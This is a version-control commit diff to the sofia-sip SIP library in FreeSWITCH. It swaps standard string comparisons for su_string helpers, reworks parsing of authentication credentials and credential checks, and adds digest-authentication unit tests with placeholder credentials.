@@ -349,9 +348,9 @@
       s[l1 + 1 + l2] = 0;
 
       /* Compare again with compacted version */
-      if (strcasecmp(s, http_version_1_1) == 0)
+      if (su_casematch(s, http_version_1_1))
 	result = http_version_1_1;
-      else if (strcasecmp(s, http_version_1_0) == 0)
+      else if (su_casematch(s, http_version_1_0))
 	result = http_version_1_0;
     }
 
@@ -452,7 +451,7 @@
   int code = http_method_unknown;
   size_t n = 0;
 
-#define MATCH(s, m) (strncasecmp(s, m, n = sizeof(m) - 1) == 0)
+#define MATCH(s, m) (su_casenmatch(s, m, n = sizeof(m) - 1))
 
   if (c >= 'a' && c <= 'z')
     c += 'A' - 'a';
@@ -494,7 +493,7 @@
   *ss = (s + n);
   if (nname) *nname = name;
 
-  return code;
+  return (http_method_t)code;
 }
 
 /** Get method enum corresponding to method name */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_client.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_client.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_client.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -46,8 +46,9 @@
 #include <sofia-sip/auth_digest.h>
 
 #include <sofia-sip/base64.h>
+#include <sofia-sip/bnf.h>
 #include <sofia-sip/su_uniqueid.h>
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 #include <sofia-sip/su_debug.h>
 
@@ -81,7 +82,9 @@
 
 static int ca_clear_credentials(auth_client_t *ca);
 
+static int ca_has_authorization(auth_client_t const *ca);
 
+
 /** Initialize authenticators.
  *
  * The function auc_challenge() merges the challenge @a ch to the list of
@@ -92,7 +95,7 @@
  * @param[in] ch        challenge to be processed
  * @param[in] crcl      credential class
  *
- * @retval 1 when challenge was updated
+ * @retval 1 when at least one challenge was updated
  * @retval 0 when there was no new challenges
  * @retval -1 upon an error
  */
@@ -128,11 +131,17 @@
     if (!matched) {
       /* There was no matching authenticator, create a new one */
       *cca = ca_create(home, scheme, realm);
-      if (ca_challenge((*cca), ch, crcl, scheme, realm) < 0) {
+
+      if (*cca == NULL) {
+	return -1;
+      }
+      else if (ca_challenge((*cca), ch, crcl, scheme, realm) < 0) {
 	ca_destroy(home, *cca), *cca = NULL;
 	return -1;
       }
-      retval = 1;		/* Updated authenticator */
+      /* XXX - case w/ unknown authentication scheme */
+      else
+	retval = 1;		/* Updated authenticator */
     }
   }
 
@@ -160,17 +169,19 @@
   if (!ca || !ch)
     return -1;
 
-  if (strcasecmp(ca->ca_scheme, scheme))
+  if (!su_casematch(ca->ca_scheme, scheme))
     return 0;
-  if (strcmp(ca->ca_realm, realm))
+  if (!su_strmatch(ca->ca_realm, realm))
     return 0;
 
   if (ca->ca_credential_class &&
       ca->ca_credential_class != credential_class)
     return 0;
 
-  if (!ca->ca_auc)
+  if (!ca->ca_auc) {
+    ca->ca_credential_class = credential_class;
     return 1;
+  }
 
   if (ca->ca_auc->auc_challenge)
     stale = ca->ca_auc->auc_challenge(ca, ch);
@@ -285,9 +296,10 @@
  *
  * @param[in,out] auc_list  list of authenticators
  * @param[in,out] home      memory home used for allocations
- * @param[in] data          colon-separated authentication data
+ * @param[in]     data      colon-separated authentication data
  *
- * @retval 0 when successful
+ * @retval >0 when successful
+ * @retval 0 if not authenticator matched with @a data
  * @retval -1 upon an error
  */
 int auc_credentials(auth_client_t **auc_list, su_home_t *home,
@@ -300,11 +312,24 @@
   s0 = s = su_strdup(NULL, data);
 
   /* Parse authentication data */
-  /* Data is string like "Basic:\"agni\":user1:secret" */
+  /* Data is string like "Basic:\"agni\":user1:secret"
+     or "Basic:\"[fe80::204:23ff:fea7:d60a]\":user1:secret" (IPv6)
+     or "Basic:\"Use \\\"interesting\\\" username and password here:\":user1:secret"
+  */
   if (s && (s = strchr(scheme = s, ':')))
     *s++ = 0;
-  if (s && (s = strchr(realm = s, ':')))
-    *s++ = 0;
+  if (s) {
+    if (*s == '"') {
+      realm = s;
+      s += span_quoted(s);
+      if (*s == ':')
+	*s++ = 0;
+      else
+	realm = NULL, s = NULL;
+    }
+    else
+      s = NULL;
+  }
   if (s && (s = strchr(user = s, ':')))
     *s++ = 0;
   if (s && (s = strchr(pass = s, ':')))
@@ -334,15 +359,13 @@
  *
  * scheme:"realm":user:pass
  *
- * @todo The authentication data format sucks.
- *
  * @param[in,out] auc_list  list of authenticators
  * @param[in] scheme        scheme to use (NULL, if any)
  * @param[in] realm         realm to use (NULL, if any)
  * @param[in] user          username
  * @param[in] pass          password
  *
- * @retval number of updated clients
+ * @retval >0 or number of updated clients when successful
  * @retval 0 when no client was updated
  * @retval -1 upon an error
  */
@@ -385,13 +408,13 @@
   if (!ca || !ca->ca_scheme || !ca->ca_realm)
     return -1;
 
-  if ((scheme != NULL && strcasecmp(scheme, ca->ca_scheme)) ||
-      (realm != NULL && strcmp(realm, ca->ca_realm)))
+  if ((scheme != NULL && !su_casematch(scheme, ca->ca_scheme)) ||
+      (realm != NULL && !su_strmatch(realm, ca->ca_realm)))
     return 0;
 
   old_user = ca->ca_user, old_pass = ca->ca_pass;
 
-  if (str0cmp(user, old_user) == 0 && str0cmp(pass, old_pass) == 0)
+  if (su_strmatch(user, old_user) && su_strmatch(pass, old_pass))
     return 0;
 
   new_user = su_strdup(ca->ca_home, user);
@@ -435,14 +458,14 @@
 	continue;
       if (AUTH_CLIENT_IS_EXTENDED(ca) && ca->ca_clear)
 	continue;
-      if (!ca->ca_scheme[0] || strcasecmp(ca->ca_scheme, d->ca_scheme))
+      if (!ca->ca_scheme[0] || !su_casematch(ca->ca_scheme, d->ca_scheme))
 	continue;
-      if (!ca->ca_realm[0] || strcmp(ca->ca_realm, d->ca_realm))
+      if (!ca->ca_realm || !su_strmatch(ca->ca_realm, d->ca_realm))
 	continue;
 
       if (!(AUTH_CLIENT_IS_EXTENDED(d) && d->ca_clear) &&
-	  d->ca_user && strcmp(d->ca_user, ca->ca_user) == 0 &&
-	  d->ca_pass && strcmp(d->ca_pass, ca->ca_pass) == 0) {
+	  su_strmatch(d->ca_user, ca->ca_user) &&
+	  su_strmatch(d->ca_pass, ca->ca_pass)) {
 	retval++;
 	break;
       }
@@ -492,8 +515,8 @@
     if (!AUTH_CLIENT_IS_EXTENDED(ca))
       continue;
 
-    if ((scheme != NULL && strcasecmp(scheme, ca->ca_scheme)) ||
-	(realm != NULL && strcmp(realm, ca->ca_realm)))
+    if ((scheme != NULL && !su_casematch(scheme, ca->ca_scheme)) ||
+	(realm != NULL && !su_strmatch(realm, ca->ca_realm)))
       continue;
 
     match = ca->ca_auc->auc_clear(*auc_list);
@@ -522,7 +545,7 @@
   return 1;
 }
 
-/** Check if we have all required credentials.
+/** Check if there are credentials for all challenges.
  *
  * @retval 1 when authorization can proceed
  * @retval 0 when there is not enough credentials
@@ -531,22 +554,43 @@
  */
 int auc_has_authorization(auth_client_t **auc_list)
 {
-  auth_client_t const *ca;
+  auth_client_t const *ca, *other;
 
   if (auc_list == NULL)
     return 0;
 
-  /* Make sure every challenge has credentials */
   for (ca = *auc_list; ca; ca = ca->ca_next) {
-    if (!ca->ca_user || !ca->ca_pass || !ca->ca_credential_class)
-      return 0;
-    if (AUTH_CLIENT_IS_EXTENDED(ca) && ca->ca_clear)
-      return 0;
+    if (!ca_has_authorization(ca)) {
+      /*
+       * Check if we have another challenge with same realm but different
+       * scheme
+       */
+      for (other = *auc_list; other; other = ca->ca_next) {
+	if (ca == other)
+	  continue;
+	if (ca->ca_credential_class == other->ca_credential_class &&
+	    su_strcmp(ca->ca_realm, other->ca_realm) == 0 &&
+	    ca_has_authorization(other))
+	  break;
+      }
+
+      if (!other)
+	return 0;
+    }
   }
 
   return 1;
 }
 
+static int
+ca_has_authorization(auth_client_t const *ca)
+{
+  return ca->ca_credential_class &&
+    ca->ca_auc &&
+    ca->ca_user && ca->ca_pass &&
+    !(AUTH_CLIENT_IS_EXTENDED(ca) && ca->ca_clear);
+}
+
 /**Authorize a request.
  *
  * The function auc_authorization() is used to add correct authentication
@@ -581,7 +625,7 @@
   if (pub == NULL)
     pub = msg_object(msg);
 
-  /* Remove existing credentials */
+  /* Remove existing credential headers */
   for (ca = *auc_list; ca; ca = ca->ca_next) {
     msg_header_t **hh = msg_hclass_offset(mc, pub, ca->ca_credential_class);
 
@@ -589,7 +633,7 @@
       msg_header_remove(msg, pub, *hh);
   }
 
-  /* Insert new credentials */
+  /* Insert new credential headers */
   for (; *auc_list; auc_list = &(*auc_list)->ca_next) {
     su_home_t *home = msg_home(msg);
     msg_header_t *h = NULL;
@@ -598,6 +642,8 @@
 
     if (!ca->ca_auc)
       continue;
+    if (!ca_has_authorization(ca))
+      continue;
 
     if (ca->ca_auc->auc_authorize(ca, home, method, url, body, &h) < 0)
       return -1;
@@ -648,6 +694,8 @@
 
     if (!ca->ca_auc)
       continue;
+    if (!ca_has_authorization(ca))
+      continue;
 
     if (ca->ca_auc->auc_authorize(ca, home, method, url, body, &h) < 0)
       return -1;
@@ -885,9 +933,9 @@
   auth_challenge_t const *ac = cda->cda_ac;
   char const *cnonce = cda->cda_cnonce;
   unsigned nc = ++cda->cda_ncount;
-  char *uri = url_as_string(home, url);
   void const *data = body ? body->pl_data : "";
   usize_t dlen = body ? body->pl_len : 0;
+  char *uri;
 
   msg_header_t *h;
   auth_hexmd5_t sessionkey, response;
@@ -908,8 +956,11 @@
   ar->ar_qop = NULL;
   ar->ar_auth = ac->ac_auth;
   ar->ar_auth_int = ac->ac_auth_int;
-  ar->ar_uri = uri;
+  ar->ar_uri = uri = url_as_string(home, url);
 
+  if (ar->ar_uri == NULL)
+    return -1;
+
   /* If there is no qop, we MUST NOT include cnonce or nc */
   if (!ar->ar_auth && !ar->ar_auth_int)
     cnonce = NULL;
@@ -985,7 +1036,7 @@
 
   for (i = 0; i < MAX_AUC; i++) {
     if (ca_plugins[i] == NULL ||
-	strcmp(plugin->auc_name, ca_plugins[i]->auc_name) == 0) {
+	su_strmatch(plugin->auc_name, ca_plugins[i]->auc_name) == 0) {
       ca_plugins[i] = plugin;
       return 0;
     }
@@ -1013,7 +1064,7 @@
 
   for (i = 0; i < MAX_AUC; i++) {
     auc = ca_plugins[i];
-    if (!auc || strcasecmp(auc->auc_name, scheme) == 0)
+    if (!auc || su_casematch(auc->auc_name, scheme))
       break;
   }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_client_ntlm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_client_ntlm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_client_ntlm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -44,7 +44,7 @@
 
 #include <sofia-sip/base64.h>
 #include <sofia-sip/su_uniqueid.h>
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 #include <sofia-sip/su_debug.h>
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_common.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_common.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_common.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,16 +36,13 @@
 
 #include "sofia-sip/auth_common.h"
 #include "sofia-sip/msg_header.h"
+#include <sofia-sip/su_string.h>
 
 #include <stdio.h>
 #include <string.h>
 #include <stdarg.h>
 #include <assert.h>
 
-#if !HAVE_STRCASESTR
-char *strcasestr(char const *haystack, char const *needle);
-#endif
-
 su_inline int has_token(char const *qstring, char const *token);
 
 /**
@@ -92,12 +89,12 @@
 	 if expected is found in parameter value,
 	 return non-NULL pointer in *return_value */
       for (j = 0; (p = params[j++]);) {
-	if (strcasecmp(p, fmt) == 0) {
+	if (su_casematch(p, fmt)) {
 	  /* Matched the whole parameter with fmt name=expected */
 	  value = p;
 	  break;
 	}
-	else if (strncasecmp(p, fmt, namelen) ||
+	else if (!su_casenmatch(p, fmt, namelen) ||
 		 p[namelen] != '=')
 	  continue;
 
@@ -109,7 +106,7 @@
 	  value = p;
 	  break;
 	}
-	else if (strcasecmp(p, expected) == 0) {
+	else if (su_casematch(p, expected)) {
 	  /* Parameter value matches with extected value
 	   * e.g., qop=auth matches qop=auth */
 	  value = p;
@@ -120,7 +117,7 @@
     else {
       /* format is name= , return unquoted parameter value after = */
       for (j = 0; (p = params[j++]);) {
-	if (strncasecmp(p, fmt, len))
+	if (!su_casenmatch(p, fmt, len))
 	  continue;
 
 	if (p[len] == '"')
@@ -128,8 +125,10 @@
 	else
 	  value = su_strdup(home, p + len);
 
-	if (value == NULL)
+	if (value == NULL) {
+	  va_end(ap);
 	  return -1;
+	}
 
 	break;
       }
@@ -169,7 +168,8 @@
   size_t n = strlen(token);
   char const *q;
 
-  q = strcasestr(qstring, token);
+  q = su_strcasestr(qstring, token);
+
   return (q &&
 	  (q[n] == 0 || strchr("\", \t", q[n])) &&
 	  (q == qstring || strchr("\", \t", q[-1])));

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_module.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_module.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_module.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -61,6 +61,7 @@
 
 #include <sofia-sip/su_wait.h>
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_tagarg.h>
 
 #include <sofia-sip/base64.h>
@@ -181,7 +182,7 @@
   am->am_fake = fake;
   am->am_remote = url_hdup(am->am_home, (url_t *)remote);
   am->am_algorithm = algorithm ? su_strdup(am->am_home, algorithm) : "MD5";
-  am->am_nextnonce = !algorithm || strcasecmp(algorithm, "MD5") == 0;
+  am->am_nextnonce = !algorithm || su_casematch(algorithm, "MD5");
   if (next_expires == 0)
     am->am_nextnonce = 0;
   am->am_qop = su_strdup(am->am_home, qop);
@@ -694,11 +695,11 @@
       /* Check for qop */
       (ar->ar_qop &&
        ((ar->ar_auth &&
-	 strcasecmp(ar->ar_qop, "auth") &&
-	 strcasecmp(ar->ar_qop, "\"auth\"")) ||
+	 !su_casematch(ar->ar_qop, "auth") &&
+	 !su_casematch(ar->ar_qop, "\"auth\"")) ||
 	(ar->ar_auth_int &&
-	 strcasecmp(ar->ar_qop, "auth-int") &&
-	 strcasecmp(ar->ar_qop, "\"auth-int\"")))
+	 !su_casematch(ar->ar_qop, "auth-int") &&
+	 !su_casematch(ar->ar_qop, "\"auth-int\"")))
        && (phrase = PA "has invalid qop"))) {
     assert(phrase);
     SU_DEBUG_5(("auth_method_digest: 400 %s\n", phrase));
@@ -1249,7 +1250,7 @@
   char const *arealm;
 
   for (;auth; auth = auth->au_next) {
-    if (strcasecmp(auth->au_scheme, scheme))
+    if (!su_casematch(auth->au_scheme, scheme))
       continue;
 
     if (!realm)
@@ -1290,7 +1291,7 @@
   char const *arealm, *aopaque;
 
   for (;auth; auth = auth->au_next) {
-    if (strcasecmp(auth->au_scheme, "Digest"))
+    if (!su_casematch(auth->au_scheme, "Digest"))
       continue;
 
     if (realm) {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_ntlm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_ntlm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_ntlm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -91,7 +91,7 @@
   if (n < 0)
     return n;
 
-  if (ac->ac_stale && strcasecmp(ac->ac_stale, "true") != 0)
+  if (ac->ac_stale && !su_casematch(ac->ac_stale, "true"))
     ac->ac_stale = NULL;
 
   ac->ac_md5 = md5 != NULL || ac->ac_algorithm == NULL;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_plugin.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_plugin.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_plugin.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -52,6 +52,7 @@
 
 #include <sofia-sip/su_wait.h>
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_tagarg.h>
 
 #include "sofia-sip/auth_module.h"
@@ -130,16 +131,16 @@
 
     if (base == NULL)
       ;
-    else if (strcasecmp(base, "Basic") == 0)
+    else if (su_casematch(base, "Basic"))
       bscheme = auth_scheme_basic;
-    else if (strcasecmp(base, "Digest") == 0)
+    else if (su_casematch(base, "Digest"))
       bscheme = auth_scheme_digest;
 
     if (base == NULL || bscheme) {
       int i;
 
       for (i = 0; schemes[i] && i < N; i++) {
-	if (strncasecmp(schemes[i]->asch_method, method, len) == 0 &&
+	if (su_casenmatch(schemes[i]->asch_method, method, len) &&
 	    schemes[i]->asch_method[len] == 0) {
 	  am = auth_mod_alloc(schemes[i], ta_tags(ta));
 	  if (schemes[i]->asch_init(am, bscheme, root, ta_tags(ta)) == -1) {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_plugin_ntlm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_plugin_ntlm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/auth_plugin_ntlm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -170,7 +170,7 @@
   char const *agssapidata, *atargetname;
 
   for (;auth; auth = auth_mod_credentials(auth->au_next)) {
-    if (strcasecmp(auth->au_scheme, "NTLM"))
+    if (!su_casematch(auth->au_scheme, "NTLM"))
       continue;
 
     if (gssapidata) {
@@ -224,11 +224,11 @@
       /* Check for qop */
       (ar->ar_qop &&
        ((ar->ar_auth &&
-	 strcasecmp(ar->ar_qop, "auth") &&
-	 strcasecmp(ar->ar_qop, "\"auth\"")) ||
+	 !su_casematch(ar->ar_qop, "auth") &&
+	 !su_casematch(ar->ar_qop, "\"auth\"")) ||
 	(ar->ar_auth_int &&
-	 strcasecmp(ar->ar_qop, "auth-int") &&
-	 strcasecmp(ar->ar_qop, "\"auth-int\"")))
+	 !su_casematch(ar->ar_qop, "auth-int") &&
+	 !su_casematch(ar->ar_qop, "\"auth-int\"")))
        && (phrase = PA "has invalid qop"))) {
     assert(phrase);
     SU_DEBUG_5(("auth_method_ntlm: 400 %s\n", phrase));

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/sofia-sip/auth_client_plugin.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/sofia-sip/auth_client_plugin.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/sofia-sip/auth_client_plugin.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -98,7 +98,8 @@
 
 /** Check if authentication client has been extended. @NEW_1_12_6. */
 #define AUTH_CLIENT_IS_EXTENDED(ca)					\
-  ((ca)->ca_auc->auc_plugin_size >					\
+  ((ca)->ca_auc &&							\
+   (ca)->ca_auc->auc_plugin_size >					\
    (int)offsetof(auth_client_plugin_t, auc_clear)			\
    && (ca)->ca_auc->auc_clear != NULL)
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/test_auth_digest.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/test_auth_digest.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/iptsec/test_auth_digest.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -73,6 +73,7 @@
 #include <sofia-sip/auth_client.h>
 #include <sofia-sip/msg_header.h>
 #include <sofia-sip/su_wait.h>
+#include <sofia-sip/su_string.h>
 
 int tstflags;
 char *argv0;
@@ -97,7 +98,7 @@
   tv->tv_sec += offset;
 }
 
-int test_digest()
+int test_digest(void)
 {
   char challenge[] = "Digest "
     "realm=\"garage.sr.ntc.nokia.com\", "
@@ -349,8 +350,11 @@
     TEST_SIZE(auth_digest_challenge_get(home, ac, pa->au_params), 6);
 
     TEST0(pz = sip_proxy_authorization_make(home, cred));
-    TEST_SIZE(auth_digest_response_get(home, ar, pz->au_params), 8);
 
+    {
+    size_t n = auth_digest_response_get(home, ar, pz->au_params);
+    TEST_SIZE(n, 8);
+    }
     ar->ar_md5 = ac->ac_md5 || ac->ac_algorithm == NULL;
 
     TEST(auth_digest_sessionkey(ar, sessionkey, "test1"), 0);
@@ -472,7 +476,7 @@
 }
 
 /* Test digest authentication client and server */
-int test_digest_client()
+int test_digest_client(void)
 {
   BEGIN();
 
@@ -702,7 +706,7 @@
 
       if (au->au_params)
 	for (i = 0; au->au_params[i]; i++) {
-	  if (strncasecmp(au->au_params[i], "realm=", 6) == 0)
+	  if (su_casenmatch(au->au_params[i], "realm=", 6))
 	    continue;
 	  equal = strchr(au->au_params[i], '=');
 	  if (equal)
@@ -1089,6 +1093,29 @@
 
     auth_mod_destroy(am); deinit_as(as); aucs = NULL;
 
+    /* Test client with two challenges */
+    au = sip_www_authenticate_make(
+      NULL,
+      "Digest realm=\"test-realm\", "
+      "nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\", "
+      "opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"");
+    au->au_next = sip_www_authenticate_make(
+      NULL,
+      "Not-Digest realm=\"test-realm\", "
+      "zip=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\", "
+      "zap=\"5ccc069c403ebaf9f0171e9517f40e41\"");
+
+    TEST_1(auc_challenge(&aucs, home, (msg_auth_t *)au,
+			 sip_authorization_class) >= 1);
+    TEST_1(auc_all_credentials(&aucs, "Digest", "\"test-realm\"",
+			       "user", "pass"));
+    msg_header_remove(m2, (void *)sip, (void *)sip->sip_authorization);
+    TEST(auc_authorization(&aucs, m2, (msg_pub_t*)sip, rq->rq_method_name,
+			   (url_t *)"sip:surf3@ims3.so.noklab.net",
+			   sip->sip_payload), 1);
+    TEST_1(sip->sip_authorization);
+    aucs = NULL;
+
     /* Test asynchronous operation */
     aucs = NULL;
     TEST_1(am = auth_mod_create(root,
@@ -1141,6 +1168,54 @@
   END();
 }
 
+int
+test_auth_client(void)
+{
+  BEGIN();
+
+  {
+    char challenge[] =
+      PROTOCOL " 401 Unauthorized\r\n"
+      "Call-ID:0e3dc2b2-dcc6-1226-26ac-258b5ce429ab\r\n"
+      "CSeq:32439043 REGISTER\r\n"
+      "From:surf3.ims3.so.noklab.net <sip:surf3@ims3.so.noklab.net>;tag=I8hFdg0H3OK\r\n"
+      "To:<sip:surf3@ims3.so.noklab.net>\r\n"
+      "Via:SIP/2.0/UDP 10.21.36.70:23800;branch=z9hG4bKJjKGu9vIHqf;received=10.21.36.70;rport\r\n"
+      "WWW-Authenticate:DIGEST algorithm=MD5,nonce=\"h7wIpP+atU+/+Zau5UwLMA==\",realm=\"[::1]\"\r\n"
+      "Proxy-Authenticate:DIGEST algorithm=MD5,nonce=\"h7wIpP+atU+/+Zau5UwLMA==\",realm=\"\\\"realm\\\"\"\r\n"
+      "Content-Length:0\r\n"
+      "Security-Server:digest\r\n"
+      "r\n";
+
+    su_home_t *home;
+    msg_t *msg;
+    sip_t *sip;
+    auth_client_t *aucs = NULL;
+
+    TEST_1(home = su_home_new(sizeof(*home)));
+
+    TEST_1(msg = read_message(MSG_DO_EXTRACT_COPY, challenge));
+    TEST_1(sip = sip_object(msg));
+
+    TEST_1(aucs == NULL);
+    TEST(auc_challenge(&aucs, home, sip->sip_www_authenticate,
+		       sip_authorization_class), 1);
+    TEST_1(aucs != NULL);
+
+    TEST(auc_credentials(&aucs, home, "Digest:\"[::1]\":user:pass"), 1);
+
+    TEST(auc_challenge(&aucs, home, sip->sip_proxy_authenticate,
+		       sip_proxy_authorization_class), 1);
+
+    TEST(auc_credentials(&aucs, home, "Digest:\"\\\"realm\\\"\":user:pass"), 1);
+
+    msg_destroy(msg);
+    su_home_unref(home);
+  }
+
+  END();
+}
+
 #if HAVE_FLOCK
 #include <sys/file.h>
 #endif
@@ -1169,7 +1244,7 @@
   "\n";
 
 /* Test digest authentication client and server */
-int test_module_io()
+int test_module_io(void)
 {
   auth_mod_t *am, am0[1];
   auth_passwd_t *apw, *apw2;
@@ -1326,7 +1401,7 @@
 
   retval |= test_digest();
   retval |= test_digest_client();
-
+  retval |= test_auth_client();
   retval |= test_module_io();
 
   su_deinit();

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -87,7 +87,7 @@
 
 AWK_MSG_AWK = LC_ALL=C $(AWK) -f $(MSG_PARSER_AWK)
 
-${GENERATED_HC}: ${MSG_PARSER_AWK}
+${GENERATED_HC}: ${MSG_PARSER_AWK} Makefile.am
 
 TEST_CLASS_H = ${srcdir}/test_class.h
 
@@ -121,6 +121,6 @@
 
 msg_mime_table.c: ${srcdir}/msg_mime_table.c.in
 	$(AWK_MSG_AWK) module=msg_multipart \
-		tprefix=msg prefix=mp MC_HASH_SIZE=127 \
+		tprefix=msg prefix=mp MC_HASH_SIZE=127 MC_SHORT_SIZE=26 \
 		PT=$@ TEMPLATE=${srcdir}/msg_mime_table.c.in \
 		${SS_MIME_H}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_auth.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_auth.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_auth.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -130,7 +130,7 @@
  */
 isize_t msg_auth_dup_xtra(msg_header_t const *h, isize_t offset)
 {
-  msg_auth_t const *au = h->sh_auth;
+  msg_auth_t const *au = (msg_auth_t *)h;
 
   MSG_PARAMS_SIZE(offset, au->au_params);
   offset += MSG_STRING_SIZE(au->au_scheme);
@@ -144,8 +144,8 @@
 		       char *b,
 		       isize_t xtra)
 {
-  msg_auth_t *au = dst->sh_auth;
-  msg_auth_t const *o = src->sh_auth;
+  msg_auth_t *au = (msg_auth_t *)dst;
+  msg_auth_t const *o = (msg_auth_t const *)src;
   char *end = b + xtra;
 
   b = msg_params_dup(&au->au_params, o->au_params, b, xtra);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_basic.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_basic.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_basic.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -235,9 +235,11 @@
 /** Parse payload. */
 issize_t msg_payload_d(su_home_t *home, msg_header_t *h, char *s, isize_t slen)
 {
-  h->sh_payload->pl_len = slen;
-  h->sh_payload->pl_data = s;
+  msg_payload_t *pl = (msg_payload_t *)h;
 
+  pl->pl_len = slen;
+  pl->pl_data = s;
+
   h->sh_len = slen;
   h->sh_data = s;
 
@@ -246,11 +248,14 @@
 
 issize_t msg_payload_e(char b[], isize_t bsiz, msg_header_t const *h, int flags)
 {
-  size_t len = h->sh_payload->pl_len;
+  msg_payload_t *pl = (msg_payload_t *)h;
+  size_t len = pl->pl_len;
 
   if (bsiz > 0) {
-    memcpy(b, h->sh_payload->pl_data, bsiz > len ? len : bsiz);
-    b[bsiz > len ? len : bsiz - 1] = '\0';
+    if (len < bsiz)
+      memcpy(b, pl->pl_data, len), b[len] = '\0';
+    else
+      memcpy(b, pl->pl_data, bsiz - 1), b[bsiz - 1] = '\0';
   }
 
   return len;
@@ -258,7 +263,8 @@
 
 isize_t msg_payload_dup_xtra(msg_header_t const *h, isize_t offset)
 {
-  return offset + h->sh_payload->pl_len + 1;
+  msg_payload_t *pl = (msg_payload_t *)h;
+  return offset + pl->pl_len + 1;
 }
 
 char *msg_payload_dup_one(msg_header_t *dst,
@@ -266,13 +272,13 @@
 			  char *b,
 			  isize_t xtra)
 {
-  msg_payload_t *pl = dst->sh_payload;
-  msg_payload_t const *o = src->sh_payload;
+  msg_payload_t *pl = (msg_payload_t *)dst;
+  msg_payload_t const *o = (msg_payload_t const *)src;
 
   memcpy(pl->pl_data = b, o->pl_data, pl->pl_len = o->pl_len);
 
-  pl->pl_common->h_data = pl->pl_data;
-  pl->pl_common->h_len = pl->pl_len;
+  dst->sh_data = pl->pl_data;
+  dst->sh_len = pl->pl_len;
 
   pl->pl_data[pl->pl_len] = 0;	/* NUL terminate just in case */
 
@@ -322,12 +328,13 @@
